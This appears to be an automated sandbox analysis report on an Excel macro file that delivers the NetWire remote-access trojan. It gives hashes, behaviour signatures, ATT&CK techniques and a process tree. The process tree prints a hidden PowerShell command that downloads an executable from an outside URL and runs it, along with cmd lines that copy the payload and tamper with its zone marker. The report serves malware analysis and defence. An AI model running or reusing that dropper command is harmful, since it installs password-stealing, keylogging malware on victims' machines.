Overview

overview

10

Static

static

PO29062020.xlsm

windows7_x64

10

PO29062020.xlsm

windows10_x64

10

Analysis

  • max time kernel
    135s
  • max time network
    130s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    29-06-2020 19:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    PO29062020.xlsm

  • Size

    407KB

  • MD5

    2958c347433029ff3d06f2e3f32a735b

  • SHA1

    b729fbe5d5642ca5987db47352b134797852d097

  • SHA256

    d70d7499eec43adaa9d908f4df45fbb064a53e488f765ec5a5cb99baf1285389

  • SHA512

    0ff681ca3254a6ae552b91a9017aa660725e148c35adaebc830f7f37778d8a1f05fe64681fbc9732a7e6c6992c325f2c7c14eac20f813e78a15de8f28bba28d6

Score
10/10
ratbotnetstealernetwire

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://longi.ca/wdfr.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • NTFS ADS 1 IoCs
  • Netwire

    Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.

    botnetstealernetwire
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • NetWire RAT payload 2 IoCs
    rat
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops startup file 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO29062020.xlsm"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Enumerates system info in registry
    PID:3832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://longi.ca/wdfr.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • Blacklisted process makes network request
      PID:3608
      • C:\Users\Admin\AppData\Local\Temp\putty.exe
        "C:\Users\Admin\AppData\Local\Temp\putty.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Drops startup file
        PID:416
        • C:\Users\Admin\AppData\Local\Temp\whdhost.exe
          "C:\Users\Admin\AppData\Local\Temp\whdhost.exe"
          4⤵
          • Executes dropped EXE
          PID:1568
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c copy "C:/Users/Admin/AppData/Local/Temp/putty.exe" "%temp%\FolderN\name.exe" /Y
          4⤵
            PID:2396
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier
            4⤵
            • NTFS ADS
            PID:2384

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\putty.exe
      Download Submit
    • C:\Users\Admin\AppData\Local\Temp\putty.exe
      Download Submit
    • C:\Users\Admin\AppData\Local\Temp\whdhost.exe
      Download Submit
    • memory/416-5-0x0000000000000000-mapping.dmp
      Download
    • memory/1568-9-0x000000000040242D-mapping.dmp
      Download
    • memory/1568-8-0x0000000000400000-0x0000000000433000-memory.dmp
      Filesize

      204KB

      Download
    • memory/1568-11-0x0000000000400000-0x0000000000433000-memory.dmp
      Filesize

      204KB

      Download
    • memory/2384-13-0x0000000000000000-mapping.dmp
      Download
    • memory/2396-12-0x0000000000000000-mapping.dmp
      Download
    • memory/3608-4-0x0000000000000000-mapping.dmp
      Download